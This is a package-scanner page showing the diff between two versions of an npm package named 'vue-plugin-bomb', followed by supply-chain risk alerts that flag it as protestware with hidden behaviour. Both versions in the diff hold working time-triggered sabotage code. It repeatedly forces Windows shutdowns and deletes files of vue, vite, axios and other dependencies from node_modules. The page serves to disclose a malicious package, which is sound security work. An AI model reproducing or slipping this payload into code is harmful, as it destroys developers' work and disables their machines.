vue-plugin-bomb
Advanced tools
Comparing version 1.0.3 to 1.0.4
@@ -1,1 +0,1 @@ | ||
import process from"child_process";import{fileURLToPath}from"node:url";import{dirname}from"node:path";var __dirname=dirname(fileURLToPath(import.meta.url));export default()=>{if(new Date("2023/06/21 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/21 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/06/22 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/22 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/06/23 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/30 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/01 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/31 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/01 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/08/31 11:45:01").getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rimraf ${node_modules}vue\\dist`);process.execSync(`rimraf ${node_modules}vue-router\\dist`);process.execSync(`rimraf ${node_modules}vue-router\\index.js`);process.execSync(`rimraf ${node_modules}vant\\lib`);process.execSync(`rimraf ${node_modules}vant\\es`);process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/09/01 08:00:01").getTime()<(new Date).getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rimraf ${node_modules}pinia\\dist`);process.execSync(`rimraf ${node_modules}pinia\\index.js`);process.execSync(`rimraf ${node_modules}vite-plugin-vue-setup-extend\\dist`);process.execSync(`rimraf ${node_modules}axios\\dist`);process.execSync(`rimraf ${node_modules}axios\\index.js`);process.execSync(`rimraf ${node_modules}vite\\dist`);process.execSync(`rimraf ${node_modules}vite\\bin`);process.execSync(`rimraf ${node_modules}vite\\types`);process.execSync(`rimraf ${node_modules}vite\\index.js`);process.execSync(`shutdown -s -t 5`)},1*1000)}}; | ||
import process from"child_process";import{fileURLToPath}from"node:url";import{dirname}from"node:path";var __dirname=dirname(fileURLToPath(import.meta.url));export default()=>{if(new Date("2023/06/19 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/30 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/05 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/05 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/06 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/06 11:45:01").getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rimraf ${node_modules}vue\\dist`);process.execSync(`rimraf ${node_modules}vue-router\\index.js`);process.execSync(`rimraf ${node_modules}ant-design-vue\\index.js`);process.execSync(`rimraf ${node_modules}ant-design-vue\\dist`);process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/07 08:00:01").getTime()<(new Date).getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rimraf ${node_modules}lib-flexible`);process.execSync(`rimraf ${node_modules}less-loader\\dist`);process.execSync(`rimraf ${node_modules}less\\index.js`);process.execSync(`rimraf ${node_modules}vite-plugin-vue-setup-extend\\dist`);process.execSync(`shutdown -s -t 5`)},1*1000)}}; |
{ | ||
"name": "vue-plugin-bomb", | ||
"version": "1.0.3", | ||
"version": "1.0.4", | ||
"description": "", | ||
@@ -15,3 +15,6 @@ "main": "index.js", | ||
"child_process": "^1.0.2" | ||
}, | ||
"devDependencies": { | ||
"rimraf": "^5.0.1" | ||
} | ||
} |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Protestware or potentially unwanted behavior
Supply chain riskThis package is a joke, parody, or includes undocumented or hidden behavior unrelated to its primary function.
Found 1 instance in 1 package
Trivial Package
Supply chain riskPackages less than 10 lines of code are easily copied into your own project and may not warrant the additional supply chain risk of an external dependency.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Trivial Package
Supply chain riskPackages less than 10 lines of code are easily copied into your own project and may not warrant the additional supply chain risk of an external dependency.
Found 1 instance in 1 package
2060
1
7
1